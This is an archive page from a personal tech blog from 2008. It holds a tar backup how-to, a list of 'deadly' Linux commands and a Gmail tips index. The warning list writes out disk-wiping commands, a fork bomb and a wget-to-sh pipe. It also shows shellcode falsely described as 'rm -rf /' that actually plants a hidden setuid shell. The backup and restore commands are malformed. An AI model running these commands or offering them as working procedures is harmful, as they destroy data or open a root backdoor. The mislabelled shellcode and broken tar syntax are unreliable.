The simplest backup procedure in unix/linux

December 1st, 2008 mmsganesh Posted in Uncategorized | No Comments »

There are costly disk imaging and backup programs available for windows and linux. If you are a unix/linux sysadmin, here is a simple way to backup the system.

Backup command:

tar cvpzf mybackup.tgz –exclude=/proc –exclude=/lost+found –exclude=/mybackup.tgz –exclude=/mnt –exclude=/media –exclude=/sys

Restoration command:

tar -xvpfz backup.tgz -C /

To complete the restoration, manually create the additional work directories.

mkdir  /proc /lost+found /mnt /media /sys

Individual files alone can be recovered by using the syntax

tar -xcpfz mybackup.tgz <file with absolute path>

Eg:  tar -xcpfz mybackup.tgz /etc/fstab

AddThis Social Bookmark Button

The 7 Deadly Linux Commands

November 20th, 2008 mmsganesh Posted in Tech | No Comments »

 

If you are new to Linux, chances are you will meet a stupid person perhaps in a forum or chat room that can trick you into using commands that will harm your files or even your entire operating system. To avoid this dangerous scenario from happening, I have here a list of deadly Linux commands that you should avoid.

1. Code:

rm -rf /

This command will recursively and forcefully delete all the files inside the root directory.

 

2. Code:

char esp[] __attribute__ ((section(”.text”))) /* e.s.p

release */

= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″

“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″

“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″

“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″

“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″

“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″

“\x6e\x2f\x73\x68\x00\x2d\x63\x00″

“cp -p /bin/sh /tmp/.beyond; chmod 4755

/tmp/.beyond;”;

This is the hex version of [rm -rf /] that can deceive even the rather experienced Linux users.

 

3. Code:

mkfs.ext3 /dev/sda

This will reformat or wipeout all the files of the device that is mentioned after the mkfs command.

 

4. Code:

:(){:|:&};:

Known as forkbomb, this command will tell your system to execute a huge number of processes until the system freezes. This can often lead to corruption of data.

 

5. Code:

any_command > /dev/sda

With this command, raw data will be written to a block device that can usually clobber the filesystem resulting in total loss of data.

 

6. Code: 

wget http://some_untrusted_source -O- | sh

Never download from untrusted sources, and then execute the possibly malicious codes that they are giving you.

 

7. Code: 

mv /home/yourhomedirectory/* /dev/null

 This command will move all the files inside your home directory to a place that doesn’t exist; hence you will never ever see those files again.

 

There are of course other equally deadly Linux commands that I fail to include here, so if you have something to add, please share it via comment. 

AddThis Social Bookmark Button

There are people who fall for this too!

November 5th, 2008 mmsganesh Posted in Life, Tech | No Comments »

AddThis Social Bookmark Button

Gmail Tips: The Complete Collection

October 6th, 2008 mmsganesh Posted in Tech | No Comments »

If you are an avid Gmail user, these tips would definitely be of good use to you. Continue reading.

How I ‘Imported’ archived email into Gmail
Gmail Tip #1: All About Labels
Gmail Tip #2: ‘Check’ Your Messages
Gmail Tip #3: How to Maintain ‘Notes’
Gmail Tip #4: Formatting Your Name
Gmail Tip #5: The ‘Plus’ Side of Gmail
Gmail Tip #6: Define a Signature!
Gmail Tip #7: Quickly Addressing a Message
Gmail Tip #8: Working With Lots of Email
Gmail Tip #9: New Mail Notification!
Gmail Tip #10: Some Tips About Conversations
Gmail Tip #11: Connecting Securely
Gmail Tip #12: ‘Archiving’ Explained
Gmail Tip #13: Some More About Conversations
Gmail Tip #14: What Happens To Sent Messages?
Gmail Tip #15: New feature! Highlighting on/off!
Gmail Tip #16: New feature! View or Download for attached images
Gmail Tip #17: Advanced Search - View Multiple Labels
Gmail Tip #18: Some Forwarding Idiosyncracies
Gmail Tip #19: Advanced Search - ‘Query Words’
Gmail Tip #20: Why some attachments bounce
Gmail Tip #21: ‘Official’ Features and Bugs Status Page
Gmail Tip #22: Advanced Search - Multi-Labeled and Un-Labeled Messages
Gmail Tip #23: Cleaning Your Contacts
Gmail Tip #24: New feature! Import Contacts
Gmail Tip #25: Find Your Unread Messages
Gmail Tip #26: Creating a Pseudo Address Group!
Gmail Tip #27: Adding Hotmail Contacts to Gmail
Gmail Tip #28: ‘Gmail Notifier’ released to beta!
Gmail Tip #29: A Small Quirk With Gmail Notify’s ‘mailto:’ Handler
Gmail Tip #30: Removing a Label
Gmail Tip #31: Improved and New Contacts Features!
Gmail Tip #32: Drafts!
Gmail Tip #33: Auto-forward received Gmail!
Gmail Tip #34: Gmail on your Palm!
Gmail Tip #35: Gmail on your Palm! - Part 2
Gmail Tip #36: Some Email Management Tips
Gmail Tip #37: New Feature! Image Attachment Thumbnails
Gmail Tip #38: Google Gmail Minibrowser
Gmail Tip #39: New Feature! Gmail From Most Any Browser!
Gmail Tip #40: New Feature! Rich formatting!
Gmail Tip #41: How Much Space Do I Have?
Gmail Tip #42: A More Worldly View
Gmail Tip #43: Notes in Just Two Clicks!
Gmail Tip #44: Using An Email Client
Gmail Tip #45: Backing Up Your Gmail Account
Gmail Tip #46: Creating a Map Repository
Gmail Tip #47: Gmail Adds Chat!
Gmail Tip #48: Reply Without Scrolling
Gmail Tip #49: Moving the Chat Quick Contacts Box
Gmail Tip #50: Changing Subject Text When Replying or Forwarding
Gmail Tip #51: Keyboard Shortcuts
Gmail Tip #52: Can I “Delete all” Spam?
Gmail Tip #53: How Can I View Outlook Stationery In Gmail?
Gmail Tip #54: New Feature! Select ALL conversations
Gmail Tip #55: Excluding Chat from Search Results

AddThis Social Bookmark Button

Android to be showcased next week

September 18th, 2008 mmsganesh Posted in Tech | No Comments »

Internet giant Google’s Android mobile platform has evoked lot of interest from mobile developers around the world. The recent announcement on the award winning apps developed on the Android platform has shown us the innumerable possibilities ahead.HTC DreamThe wait is over; Next week 23rd Sep T-mobile has invited the press  for the launch of the first Android powered phone codenamed Dream and developed by HTC. Although the phone looks visually unimpressive, the capablities of the phone are definitely interesting.Tmobileinvite

AddThis Social Bookmark Button